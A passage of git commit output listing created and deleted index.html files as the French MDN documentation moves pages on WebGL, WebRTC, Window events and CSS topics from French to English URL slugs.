files/fr/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html delete mode 100644 files/fr/web/api/webgl_api/tutorial/animation_de_textures_en_webgl/index.html delete mode 100644 files/fr/web/api/webgl_api/tutorial/animer_des_objets_avec_webgl/index.html delete mode 100644 files/fr/web/api/webgl_api/tutorial/commencer_avec_webgl/index.html create mode 100644 files/fr/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html delete mode 100644 files/fr/web/api/webgl_api/tutorial/creer_des_objets_3d_avec_webgl/index.html delete mode 100644 files/fr/web/api/webgl_api/tutorial/eclairage_en_webgl/index.html create mode 100644 files/fr/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html create mode 100644 files/fr/web/api/webgl_api/tutorial/lighting_in_webgl/index.html create mode 100644 files/fr/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html create mode 100644 files/fr/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html delete mode 100644 files/fr/web/api/webgl_api/tutorial/utiliser_les_textures_avec_webgl/index.html delete mode 100644 files/fr/web/api/webglrenderingcontext/activer/index.html delete mode 100644 files/fr/web/api/webglrenderingcontext/canevas/index.html create mode 100644 files/fr/web/api/webglrenderingcontext/canvas/index.html create mode 100644 files/fr/web/api/webglrenderingcontext/enable/index.html create mode 100644 files/fr/web/api/webrtc_api/connectivity/index.html create mode 100644 files/fr/web/api/webrtc_api/session_lifetime/index.html create mode 100644 files/fr/web/api/webrtc_api/signaling_and_video_calling/index.html create mode 100644 files/fr/web/api/webrtc_api/taking_still_photos/index.html create mode 100644 files/fr/web/api/webvr_api/using_vr_controllers_with_webvr/index.html delete mode 100644 "files/fr/web/api/webvr_api/utiliser_des_contr\303\264leurs_de_realite_virtuelle_pour_du_webvr/index.html" create mode 100644 files/fr/web/api/window/afterprint_event/index.html create mode 100644 files/fr/web/api/window/beforeprint_event/index.html create mode 100644 files/fr/web/api/window/beforeunload_event/index.html create mode 100644 files/fr/web/api/window/devicemotion_event/index.html create mode 100644 files/fr/web/api/window/deviceorientation_event/index.html create mode 100644 files/fr/web/api/window/domcontentloaded_event/index.html create mode 100644 files/fr/web/api/window/load_event/index.html delete mode 100644 files/fr/web/api/window/onresize/index.html create mode 100644 files/fr/web/api/window/pagehide_event/index.html create mode 100644 files/fr/web/api/window/pageshow_event/index.html create mode 100644 files/fr/web/api/window/unload_event/index.html delete mode 100644 files/fr/web/api/window/url/index.html delete mode 100644 files/fr/web/api/windowbase64/atob/index.html delete mode 100644 files/fr/web/api/windowbase64/btoa/index.html delete mode 100644 "files/fr/web/api/windowbase64/d\303\251coder_encoder_en_base64/index.html" create mode 100644 files/fr/web/api/windoworworkerglobalscope/atob/index.html create mode 100644 files/fr/web/api/windoworworkerglobalscope/btoa/index.html create mode 100644 files/fr/web/api/windoworworkerglobalscope/clearinterval/index.html delete mode 100644 files/fr/web/api/windowtimers/clearinterval/index.html delete mode 100644 files/fr/web/api/worker/functions_and_classes_available_to_workers/index.html create mode 100644 files/fr/web/api/xmlhttprequest/abort_event/index.html create mode 100644 files/fr/web/api/xmlhttprequest/using_xmlhttprequest/index.html delete mode 100644 files/fr/web/api/xmlhttprequest/utiliser_xmlhttprequest/index.html create mode 100644 files/fr/web/api/xmlserializer/index.html create mode 100644 files/fr/web/api/xsltprocessor/basic_example/index.html create mode 100644 files/fr/web/api/xsltprocessor/browser_differences/index.html create mode 100644 files/fr/web/api/xsltprocessor/generating_html/index.html create mode 100644 files/fr/web/api/xsltprocessor/xsl_transformations_in_mozilla_faq/index.html delete mode 100644 files/fr/web/css/-moz-box-ordinal-group/index.html delete mode 100644 files/fr/web/css/-moz-cell/index.html delete mode 100644 files/fr/web/css/-ms-high-contrast/index.html delete mode 100644 files/fr/web/css/-ms-scroll-snap-type/index.html delete mode 100644 files/fr/web/css/-ms-user-select/index.html delete mode 100644 files/fr/web/css/-webkit-mask-image/index.html create mode 100644 files/fr/web/css/@media/-ms-high-contrast/index.html delete mode 100644 files/fr/web/css/@media/index/index.html delete mode 100644 files/fr/web/css/@viewport/height/index.html delete mode 100644 files/fr/web/css/@viewport/max-height/index.html delete mode 100644 files/fr/web/css/@viewport/max-width/index.html delete mode 100644 files/fr/web/css/@viewport/max-zoom/index.html delete mode 100644 files/fr/web/css/@viewport/min-height/index.html delete mode 100644 files/fr/web/css/@viewport/min-width/index.html delete mode 100644 files/fr/web/css/@viewport/min-zoom/index.html delete mode 100644 files/fr/web/css/@viewport/orientation/index.html delete mode 100644 files/fr/web/css/@viewport/user-zoom/index.html delete mode 100644 files/fr/web/css/@viewport/viewport-fit/index.html delete mode 100644 files/fr/web/css/@viewport/width/index.html delete mode 100644 files/fr/web/css/@viewport/zoom/index.html create mode 100644 files/fr/web/css/_colon_-moz-list-bullet/index.html create mode 100644 files/fr/web/css/_colon_-moz-list-number/index.html delete mode 100644 files/fr/web/css/_colon_-moz-ui-invalid/index.html delete mode 100644 files/fr/web/css/_colon_-ms-input-placeholder/index.html delete mode 100644 files/fr/web/css/_colon_-webkit-autofill/index.html delete mode 100644 files/fr/web/css/_colon_any/index.html create mode 100644 files/fr/web/css/_colon_autofill/index.html create mode 100644 files/fr/web/css/_colon_user-invalid/index.html delete mode 100644 "files/fr/web/css/_colon_visited_et_la_vie_priv\303\251e/index.html" delete mode 100644 files/fr/web/css/_doublecolon_-moz-list-bullet/index.html delete mode 100644 files/fr/web/css/_doublecolon_-moz-list-number/index.html delete mode 100644 files/fr/web/css/_doublecolon_-webkit-file-upload-button/index.html delete mode 100644 files/fr/web/css/_doublecolon_-webkit-input-placeholder/index.html create mode 100644 files/fr/web/css/_doublecolon_file-selector-button/index.html delete mode 100644 files/fr/web/css/a_propos_du_bloc_conteneur/index.html create mode 100644 files/fr/web/css/actual_value/index.html create mode 100644 files/fr/web/css/adjacent_sibling_combinator/index.html create mode 100644 files/fr/web/css/alternative_style_sheets/index.html delete mode 100644 files/fr/web/css/animations_css/conseils/index.html delete mode 100644 "files/fr/web/css/animations_css/d\303\251tecter_la_prise_en_charge_des_animations_css/index.html" delete mode 100644 files/fr/web/css/animations_css/index.html delete mode 100644 files/fr/web/css/animations_css/utiliser_les_animations_css/index.html delete mode 100644 "files/fr/web/css/arri\303\250re-plans_et_bordures_css/g\303\251n\303\251rateur_border-image/index.html" delete mode 100644 "files/fr/web/css/arri\303\250re-plans_et_bordures_css/g\303\251n\303\251rateur_border-radius/index.html" delete mode 100644 "files/fr/web/css/arri\303\250re-plans_et_bordures_css/index.html" create mode 100644 files/fr/web/css/at-rule/index.html create mode 100644 files/fr/web/css/attribute_selectors/index.html delete mode 100644 files/fr/web/css/auto/index.html delete mode 100644 files/fr/web/css/block_formatting_context/index.html create mode 100644 files/fr/web/css/child_combinator/index.html create mode 100644 files/fr/web/css/class_selectors/index.html create mode 100644 files/fr/web/css/color_value/index.html create mode 100644 files/fr/web/css/column_combinator/index.html delete mode 100644 files/fr/web/css/combinateur_colonne/index.html delete mode 100644 files/fr/web/css/combinateur_de_voisin_direct/index.html delete mode 100644 files/fr/web/css/compartimentation_css/index.html delete mode 100644 files/fr/web/css/comprendre_z-index/ajout_de_z-index/index.html delete mode 100644 files/fr/web/css/comprendre_z-index/empilement_de_couches/index.html delete mode 100644 files/fr/web/css/comprendre_z-index/empilement_et_float/index.html delete mode 100644 files/fr/web/css/comprendre_z-index/empilement_sans_z-index/index.html delete mode 100644 files/fr/web/css/comprendre_z-index/exemple_1/index.html delete mode 100644 files/fr/web/css/comprendre_z-index/exemple_2/index.html delete mode 100644 files/fr/web/css/comprendre_z-index/exemple_3/index.html delete mode 100644 files/fr/web/css/comprendre_z-index/index.html create mode 100644 files/fr/web/css/computed_value/index.html delete mode 100644 files/fr/web/css/concepts_viewport/index.html create mode 100644 files/fr/web/css/containing_block/index.html delete mode 100644 files/fr/web/css/contexte_de_formatage_en_ligne/index.html delete mode 100644 files/fr/web/css/couleurs_css/index.html delete mode 100644 "files/fr/web/css/couleurs_css/s\303\251lecteur_de_couleurs/index.html" create mode 100644 files/fr/web/css/css_animated_properties/index.html create mode 100644 files/fr/web/css/css_animations/detecting_css_animation_support/index.html create mode 100644 files/fr/web/css/css_animations/index.html create mode 100644 files/fr/web/css/css_animations/tips/index.html create mode 100644 files/fr/web/css/css_animations/using_css_animations/index.html create mode 100644 files/fr/web/css/css_background_and_borders/border-image_generator/index.html create mode 100644 files/fr/web/css/css_background_and_borders/border-radius_generator/index.html create mode 100644 files/fr/web/css/css_background_and_borders/box-shadow_generator/index.html create mode 100644 files/fr/web/css/css_backgrounds_and_borders/resizing_background_images/index.html delete mode 100644 files/fr/web/css/css_backgrounds_and_borders/scaling_background_images/index.html create mode 100644 files/fr/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html delete mode 100644 "files/fr/web/css/css_backgrounds_and_borders/utiliser_plusieurs_arri\303\250re-plans/index.html" create mode 100644 files/fr/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html delete mode 100644 "files/fr/web/css/css_basic_user_interface/utilisation_d_url_pour_la_propri\303\251t\303\251_cursor/index.html" delete mode 100644 "files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_bloc_absolue_tableau/index.html" delete mode 100644 "files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_colonnes/index.html" delete mode 100644 "files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_flexbox/index.html" delete mode 100644 "files/fr/web/css/css_box_alignment/alignement_bo\303\256tes_disposition_grille/index.html" create mode 100644 files/fr/web/css/css_box_alignment/box_alignment_in_block_abspos_tables/index.html create mode 100644 files/fr/web/css/css_box_alignment/box_alignment_in_flexbox/index.html create mode 100644 files/fr/web/css/css_box_alignment/box_alignment_in_grid_layout/index.html create mode 100644 files/fr/web/css/css_box_alignment/box_alignment_in_multi-column_layout/index.html create mode 100644 files/fr/web/css/css_box_model/index.html create mode 100644 files/fr/web/css/css_box_model/mastering_margin_collapsing/index.html create mode 100644 files/fr/web/css/css_charsets/index.html create mode 100644 files/fr/web/css/css_colors/color_picker_tool/index.html create mode 100644 files/fr/web/css/css_columns/basic_concepts_of_multicol/index.html delete mode 100644 files/fr/web/css/css_columns/concepts_base_multi-colonnes/index.html delete mode 100644 "files/fr/web/css/css_columns/gestion_d\303\251passement_multi-colonnes/index.html" delete mode 100644 "files/fr/web/css/css_columns/g\303\251rer_rupture_contenu_entre_colonnes/index.html" create mode 100644 files/fr/web/css/css_columns/handling_content_breaks_in_multicol/index.html create mode 100644 files/fr/web/css/css_columns/handling_overflow_in_multicol/index.html delete mode 100644 files/fr/web/css/css_columns/mettre_en_forme_les_colonnes/index.html delete mode 100644 "files/fr/web/css/css_columns/r\303\251partir_entre_les_colonnes/index.html" create mode 100644 files/fr/web/css/css_columns/spanning_columns/index.html create mode 100644 files/fr/web/css/css_columns/styling_columns/index.html create mode 100644 files/fr/web/css/css_columns/using_multi-column_layouts/index.html delete mode 100644 files/fr/web/css/css_columns/utiliser_une_disposition_multi-colonnes/index.html create mode 100644 files/fr/web/css/css_conditional_rules/using_feature_queries/index.html delete mode 100644 "files/fr/web/css/css_conditional_rules/utiliser_requ\303\252tes_fonctionnalit\303\251_(feature_queries)/index.html" create mode 100644 files/fr/web/css/css_containment/index.html delete mode 100644 "files/fr/web/css/css_flexible_box_layout/aligner_des_\303\251l\303\251ments_dans_un_conteneur_flexible/index.html" create mode 100644 files/fr/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html create mode 100644 files/fr/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html create mode 100644 files/fr/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html delete mode 100644 "files/fr/web/css/css_flexible_box_layout/bo\303\256tes_flexibles_pour_applications_web/index.html" delete mode 100644 files/fr/web/css/css_flexible_box_layout/cas_utilisation_flexbox/index.html delete mode 100644 files/fr/web/css/css_flexible_box_layout/concepts_de_base_flexbox/index.html create mode 100644 files/fr/web/css/css_flexible_box_layout/controlling_ratios_of_flex_items_along_the_main_ax/index.html delete mode 100644 "files/fr/web/css/css_flexible_box_layout/contr\303\264ler_les_proportions_des_bo\303\256tes_flexibles_le_long_de_l_axe_principal/index.html" delete mode 100644 files/fr/web/css/css_flexible_box_layout/liens_entre_flexbox_et_les_autres_dispositions/index.html create mode 100644 files/fr/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html delete mode 100644 "files/fr/web/css/css_flexible_box_layout/ma\303\256triser_passage_\303\240_la_ligne_des_\303\251l\303\251ments_flexibles/index.html" delete mode 100644 files/fr/web/css/css_flexible_box_layout/mixins/index.html create mode 100644 files/fr/web/css/css_flexible_box_layout/ordering_flex_items/index.html delete mode 100644 "files/fr/web/css/css_flexible_box_layout/ordonner_\303\251l\303\251ments_flexibles/index.html" create mode 100644 files/fr/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html delete mode 100644 "files/fr/web/css/css_flexible_box_layout/r\303\251trocompatibilite_de_flexbox/index.html" create mode 100644 files/fr/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html create mode 100644 files/fr/web/css/css_flow_layout/block_and_inline_layout_in_normal_flow/index.html delete mode 100644 files/fr/web/css/css_flow_layout/dans_le_flux_ou_en_dehors/index.html delete mode 100644 files/fr/web/css/css_flow_layout/disposition_de_bloc_en_ligne_avec_flux_normal/index.html delete mode 100644 "files/fr/web/css/css_flow_layout/disposition_flux_et_d\303\251passement/index.html" delete mode 100644 "files/fr/web/css/css_flow_layout/disposition_flux_et_modes_\303\251criture/index.html" delete mode 100644 files/fr/web/css/css_flow_layout/explications_contextes_formatage/index.html create mode 100644 files/fr/web/css/css_flow_layout/flow_layout_and_overflow/index.html create mode 100644 files/fr/web/css/css_flow_layout/flow_layout_and_writing_modes/index.html create mode 100644 files/fr/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html create mode 100644 files/fr/web/css/css_flow_layout/intro_to_formatting_contexts/index.html delete mode 100644 "files/fr/web/css/css_fonts/guide_caract\303\251ristiques_police_opentype/index.html" delete mode 100644 files/fr/web/css/css_fonts/guide_polices_variables/index.html create mode 100644 files/fr/web/css/css_fonts/opentype_fonts_guide/index.html create mode 100644 files/fr/web/css/css_fonts/variable_fonts_guide/index.html delete mode 100644 "files/fr/web/css/css_grid_layout/alignement_des_bo\303\256tes_avec_les_grilles_css/index.html" create mode 100644 files/fr/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html create mode 100644 files/fr/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html create mode 100644 files/fr/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html delete mode 100644 files/fr/web/css/css_grid_layout/construire_des_dispositions_courantes_avec_des_grilles_css/index.html create mode 100644 files/fr/web/css/css_grid_layout/css_grid_and_progressive_enhancement/index.html create mode 100644 files/fr/web/css/css_grid_layout/css_grid_layout_and_accessibility/index.html create mode 100644 files/fr/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html delete mode 100644 "files/fr/web/css/css_grid_layout/d\303\251finir_des_zones_sur_une_grille/index.html" create mode 100644 files/fr/web/css/css_grid_layout/grid_template_areas/index.html create mode 100644 files/fr/web/css/css_grid_layout/layout_using_named_grid_lines/index.html delete mode 100644 files/fr/web/css/css_grid_layout/les_concepts_de_base/index.html delete mode 100644 "files/fr/web/css/css_grid_layout/les_grilles_css_et_l_accessibilit\303\251/index.html" delete mode 100644 "files/fr/web/css/css_grid_layout/les_grilles_css_et_l_am\303\251lioration_progressive/index.html" delete mode 100644 "files/fr/web/css/css_grid_layout/les_grilles_css_les_valeurs_logiques_les_modes_d_\303\251criture/index.html" create mode 100644 files/fr/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html delete mode 100644 "files/fr/web/css/css_grid_layout/mod\303\250le_de_grille_et_autres_mod\303\250les_de_disposition/index.html" delete mode 100644 files/fr/web/css/css_grid_layout/placement_automatique_sur_une_grille_css/index.html delete mode 100644 "files/fr/web/css/css_grid_layout/placer_les_\303\251l\303\251ments_sur_les_lignes_d_une_grille_css/index.html" create mode 100644 files/fr/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html create mode 100644 files/fr/web/css/css_grid_layout/relationship_of_grid_layout/index.html delete mode 100644 "files/fr/web/css/css_grid_layout/utiliser_des_lignes_nomm\303\251es_sur_une_grille/index.html" create mode 100644 files/fr/web/css/css_images/implementing_image_sprites_in_css/index.html delete mode 100644 files/fr/web/css/css_images/sprites_css/index.html create mode 100644 files/fr/web/css/css_images/using_css_gradients/index.html delete mode 100644 files/fr/web/css/css_lists/compteurs_css/index.html delete mode 100644 "files/fr/web/css/css_lists/indentation_homog\303\250ne_des_listes/index.html" delete mode 100644 files/fr/web/css/css_lists/index.html create mode 100644 files/fr/web/css/css_lists_and_counters/consistent_list_indentation/index.html create mode 100644 files/fr/web/css/css_lists_and_counters/index.html create mode 100644 files/fr/web/css/css_lists_and_counters/using_css_counters/index.html create mode 100644 files/fr/web/css/css_logical_properties/basic_concepts/index.html delete mode 100644 files/fr/web/css/css_logical_properties/concepts_de_base/index.html delete mode 100644 files/fr/web/css/css_logical_properties/dimensionnement/index.html create mode 100644 files/fr/web/css/css_logical_properties/floating_and_positioning/index.html create mode 100644 files/fr/web/css/css_logical_properties/margins_borders_padding/index.html delete mode 100644 "files/fr/web/css/css_logical_properties/propri\303\251t\303\251s_logiques_flottements_positionnement/index.html" delete mode 100644 "files/fr/web/css/css_logical_properties/propri\303\251t\303\251s_logiques_marges_bordures_remplissages/index.html" create mode 100644 files/fr/web/css/css_logical_properties/sizing/index.html create mode 100644 files/fr/web/css/css_masking/index.html delete mode 100644 files/fr/web/css/css_masks/index.html create mode 100644 files/fr/web/css/css_motion_path/index.html create mode 100644 files/fr/web/css/css_positioning/understanding_z_index/adding_z-index/index.html create mode 100644 files/fr/web/css/css_positioning/understanding_z_index/index.html create mode 100644 files/fr/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html create mode 100644 files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html create mode 100644 files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html create mode 100644 files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html create mode 100644 files/fr/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html create mode 100644 files/fr/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html delete mode 100644 files/fr/web/css/css_questions_frequentes/index.html create mode 100644 files/fr/web/css/css_scroll_snap/basic_concepts/index.html create mode 100644 files/fr/web/css/css_scroll_snap/browser_compat/index.html delete mode 100644 "files/fr/web/css/css_scroll_snap/compatibilit\303\251_navigateurs/index.html" delete mode 100644 files/fr/web/css/css_scroll_snap/concepts_de_base/index.html create mode 100644 files/fr/web/css/css_selectors/index.html create mode 100644 files/fr/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html delete mode 100644 "files/fr/web/css/css_shapes/aper\303\247u_formes_css/index.html" create mode 100644 files/fr/web/css/css_shapes/basic_shapes/index.html delete mode 100644 "files/fr/web/css/css_shapes/cr\303\251er_formes_bo\303\256tes/index.html" delete mode 100644 files/fr/web/css/css_shapes/formes_simples/index.html create mode 100644 files/fr/web/css/css_shapes/from_box_values/index.html delete mode 100644 "files/fr/web/css/css_shapes/g\303\251n\303\251rer_formes_images/index.html" create mode 100644 files/fr/web/css/css_shapes/overview_of_css_shapes/index.html create mode 100644 files/fr/web/css/css_shapes/shapes_from_images/index.html create mode 100644 files/fr/web/css/css_transforms/using_css_transforms/index.html delete mode 100644 files/fr/web/css/css_transforms/utilisation_des_transformations_css/index.html create mode 100644 files/fr/web/css/css_transitions/using_css_transitions/index.html delete mode 100644 files/fr/web/css/css_transitions/utiliser_transitions_css/index.html create mode 100644 files/fr/web/css/css_types/index.html create mode 100644 files/fr/web/css/css_values_and_units/index.html create mode 100644 files/fr/web/css/cssom_view/coordinate_systems/index.html delete mode 100644 "files/fr/web/css/cssom_view/syst\303\250mes_de_coordonn\303\251es/index.html" create mode 100644 files/fr/web/css/descendant_combinator/index.html create mode 100644 files/fr/web/css/easing-function/index.html delete mode 100644 files/fr/web/css/extensions_css_microsoft/index.html delete mode 100644 files/fr/web/css/extensions_mozilla/index.html delete mode 100644 files/fr/web/css/feuilles_de_style_alternatives/index.html delete mode 100644 files/fr/web/css/filter-function/url/index.html delete mode 100644 files/fr/web/css/filters_effects/index.html create mode 100644 files/fr/web/css/general_sibling_combinator/index.html delete mode 100644 files/fr/web/css/grid-column-gap/index.html delete mode 100644 "files/fr/web/css/h\303\251ritage/index.html" create mode 100644 files/fr/web/css/id_selectors/index.html delete mode 100644 "files/fr/web/css/impl\303\251mentation_des_brouillons_css/index.html" delete mode 100644 files/fr/web/css/index/index.html create mode 100644 files/fr/web/css/inheritance/index.html create mode 100644 files/fr/web/css/initial_value/index.html create mode 100644 files/fr/web/css/inline_formatting_context/index.html create mode 100644 files/fr/web/css/inset-block-end/index.html create mode 100644 files/fr/web/css/inset-block-start/index.html create mode 100644 files/fr/web/css/inset-inline-end/index.html create mode 100644 files/fr/web/css/inset-inline-start/index.html delete mode 100644 "files/fr/web/css/jeux_de_caract\303\250res_css/index.html" delete mode 100644 "files/fr/web/css/layout_cookbook/bas_de_page_adh\303\251rant/index.html" create mode 100644 files/fr/web/css/layout_cookbook/breadcrumb_navigation/index.html create mode 100644 files/fr/web/css/layout_cookbook/card/index.html delete mode 100644 files/fr/web/css/layout_cookbook/carte/index.html create mode 100644 files/fr/web/css/layout_cookbook/center_an_element/index.html delete mode 100644 files/fr/web/css/layout_cookbook/centrer_un_element/index.html create mode 100644 files/fr/web/css/layout_cookbook/column_layouts/index.html delete mode 100644 "files/fr/web/css/layout_cookbook/contribuer_\303\240_une_recette/cookbook_template/index.html" delete mode 100644 "files/fr/web/css/layout_cookbook/contribuer_\303\240_une_recette/index.html" create mode 100644 files/fr/web/css/layout_cookbook/contribute_a_recipe/cookbook_template/index.html create mode 100644 files/fr/web/css/layout_cookbook/contribute_a_recipe/index.html delete mode 100644 files/fr/web/css/layout_cookbook/disposition_en_colonnes/index.html create mode 100644 files/fr/web/css/layout_cookbook/list_group_with_badges/index.html delete mode 100644 files/fr/web/css/layout_cookbook/liste_groupes_avec_indicateurs/index.html delete mode 100644 files/fr/web/css/layout_cookbook/navigation_breadcrumb/index.html delete mode 100644 "files/fr/web/css/layout_cookbook/navigation_segment\303\251e/index.html" create mode 100644 files/fr/web/css/layout_cookbook/split_navigation/index.html create mode 100644 files/fr/web/css/layout_cookbook/sticky_footers/index.html create mode 100644 files/fr/web/css/layout_mode/index.html create mode 100644 files/fr/web/css/list_of_proprietary_css_features/index.html delete mode 100644 "files/fr/web/css/liste_de_fonctionnalit\303\251s_css_propri\303\251taires/index.html" delete mode 100644 "files/fr/web/css/liste_propri\303\251t\303\251s_css_anim\303\251es/index.html" create mode 100644 files/fr/web/css/media_queries/index.html create mode 100644 files/fr/web/css/media_queries/testing_media_queries/index.html create mode 100644 files/fr/web/css/media_queries/using_media_queries/index.html create mode 100644 files/fr/web/css/media_queries/using_media_queries_for_accessibility/index.html create mode 100644 files/fr/web/css/microsoft_extensions/index.html delete mode 100644 files/fr/web/css/mode_de_mise_en_page/index.html delete mode 100644 "files/fr/web/css/mod\303\250le_de_bo\303\256te_css/fusion_des_marges/index.html" delete mode 100644 "files/fr/web/css/mod\303\250le_de_bo\303\256te_css/g\303\251n\303\251rateur_box-shadow/index.html" delete mode 100644 "files/fr/web/css/mod\303\250le_de_bo\303\256te_css/index.html" delete mode 100644 "files/fr/web/css/mod\303\250le_de_mise_en_forme_visuelle/index.html" delete mode 100644 files/fr/web/css/motion_path/index.html create mode 100644 files/fr/web/css/mozilla_extensions/index.html delete mode 100644 "files/fr/web/css/m\303\251dia_pagin\303\251s/index.html" delete mode 100644 files/fr/web/css/none/index.html delete mode 100644 files/fr/web/css/normal/index.html delete mode 100644 "files/fr/web/css/outils/g\303\251n\303\251rateur_de_courbe_de_b\303\251zier/index.html" delete mode 100644 "files/fr/web/css/outils/g\303\251n\303\251rateur_de_d\303\251grad\303\251s_lin\303\251aires/index.html" delete mode 100644 files/fr/web/css/outils/index.html delete mode 100644 "files/fr/web/css/overflow-anchor/guide_ancrage_d\303\251filement/index.html" create mode 100644 files/fr/web/css/overflow-anchor/guide_to_scroll_anchoring/index.html create mode 100644 files/fr/web/css/paged_media/index.html create mode 100644 files/fr/web/css/position_value/index.html create mode 100644 files/fr/web/css/privacy_and_the__colon_visited_selector/index.html delete mode 100644 "files/fr/web/css/propri\303\251t\303\251s_raccourcies/index.html" create mode 100644 files/fr/web/css/pseudo-elements/index.html delete mode 100644 "files/fr/web/css/pseudo-\303\251l\303\251ments/index.html" delete mode 100644 "files/fr/web/css/redimensionnement_arri\303\250re-plans_svg/index.html" create mode 100644 files/fr/web/css/replaced_element/index.html delete mode 100644 "files/fr/web/css/requ\303\252tes_m\303\251dia/index.html" delete mode 100644 "files/fr/web/css/requ\303\252tes_m\303\251dia/tester_les_media_queries/index.html" delete mode 100644 "files/fr/web/css/requ\303\252tes_m\303\251dia/utilisation_requ\303\252tes_media_accessibilit\303\251/index.html" delete mode 100644 "files/fr/web/css/requ\303\252tes_m\303\251dia/utiliser_les_media_queries/index.html" create mode 100644 files/fr/web/css/resolved_value/index.html delete mode 100644 "files/fr/web/css/r\303\250gles_@/index.html" create mode 100644 files/fr/web/css/scaling_of_svg_backgrounds/index.html delete mode 100644 files/fr/web/css/shape-box/index.html create mode 100644 files/fr/web/css/shorthand_properties/index.html create mode 100644 files/fr/web/css/specified_value/index.html delete mode 100644 "files/fr/web/css/syntaxe_de_d\303\251finition_des_valeurs/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_css/comparison_with_xpath/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_css/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_css/utiliser_la_pseudo-classe__colon_target_dans_un_selecteur/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_d_attribut/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_d_id/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_de_classe/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_de_type/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_de_voisins_g\303\251n\303\251raux/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_descendant/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_enfant/index.html" delete mode 100644 "files/fr/web/css/s\303\251lecteurs_universels/index.html" delete mode 100644 files/fr/web/css/timing-function/index.html create mode 100644 files/fr/web/css/tools/cubic_bezier_generator/index.html create mode 100644 files/fr/web/css/tools/index.html create mode 100644 files/fr/web/css/tools/linear-gradient_generator/index.html delete mode 100644 files/fr/web/css/type_color/index.html delete mode 100644 files/fr/web/css/type_position/index.html create mode 100644 files/fr/web/css/type_selectors/index.html delete mode 100644 files/fr/web/css/types_css/index.html create mode 100644 files/fr/web/css/universal_selectors/index.html delete mode 100644 files/fr/web/css/url/index.html create mode 100644 files/fr/web/css/used_value/index.html delete mode 100644 "files/fr/web/css/utilisation_de_d\303\251grad\303\251s_css/index.html" delete mode 100644 "files/fr/web/css/valeur_calcul\303\251e/index.html" delete mode 100644 files/fr/web/css/valeur_initiale/index.html delete mode 100644 files/fr/web/css/valeur_reelle/index.html delete mode 100644 "files/fr/web/css/valeur_r\303\251solue/index.html" delete mode 100644 "files/fr/web/css/valeur_sp\303\251cifi\303\251e/index.html" delete mode 100644 "files/fr/web/css/valeur_utilis\303\251e/index.html" delete mode 100644 "files/fr/web/css/valeurs_et_unit\303\251s_css/index.html" create mode 100644 files/fr/web/css/value_definition_syntax/index.html create mode 100644 files/fr/web/css/viewport_concepts/index.html create mode 100644 files/fr/web/css/visual_formatting_model/index.html delete mode 100644 "files/fr/web/css/\303\251l\303\251ment_remplac\303\251/index.html" create mode 100644 files/fr/web/demos_of_open_web_technologies/index.html delete mode 100644 "files/fr/web/d\303\251mos_de_technologies_open_web/index.html" delete mode 100644 files/fr/web/events/abort/index.html delete mode 100644 files/fr/web/events/abort_(progressevent)/index.html delete mode 100644 files/fr/web/events/afterprint/index.html delete mode 100644 files/fr/web/events/animationend/index.html delete mode 100644 files/fr/web/events/animationiteration/index.html delete mode 100644 files/fr/web/events/animationstart/index.html delete mode 100644 files/fr/web/events/audioprocess/index.html delete mode 100644 files/fr/web/events/beforeprint/index.html delete mode 100644 files/fr/web/events/beforeunload/index.html delete mode 100644 files/fr/web/events/complete/index.html delete mode 100644 files/fr/web/events/compositionend/index.html delete mode 100644 files/fr/web/events/compositionstart/index.html delete mode 100644 files/fr/web/events/compositionupdate/index.html delete mode 100644 files/fr/web/events/copy/index.html delete mode 100644 files/fr/web/events/domcontentloaded/index.html delete mode 100644 files/fr/web/events/ended_(web_audio)/index.html delete mode 100644 files/fr/web/events/error/index.html delete mode 100644 files/fr/web/events/focusin/index.html delete mode 100644 files/fr/web/events/focusout/index.html delete mode 100644 files/fr/web/events/load/index.html delete mode 100644 files/fr/web/events/pagehide/index.html delete mode 100644 files/fr/web/events/pageshow/index.html delete mode 100644 files/fr/web/events/readystatechange/index.html delete mode 100644 files/fr/web/events/transitionend/index.html delete mode 100644 files/fr/web/events/unload/index.html delete mode 100644 "files/fr/web/guide/ajax/communaut\303\251/index.html" create mode 100644 files/fr/web/guide/ajax/community/index.html create mode 100644 files/fr/web/guide/ajax/getting_started/index.html delete mode 100644 files/fr/web/guide/ajax/premiers_pas/index.html delete mode 100644 files/fr/web/guide/api/gamepad/index.html delete mode 100644 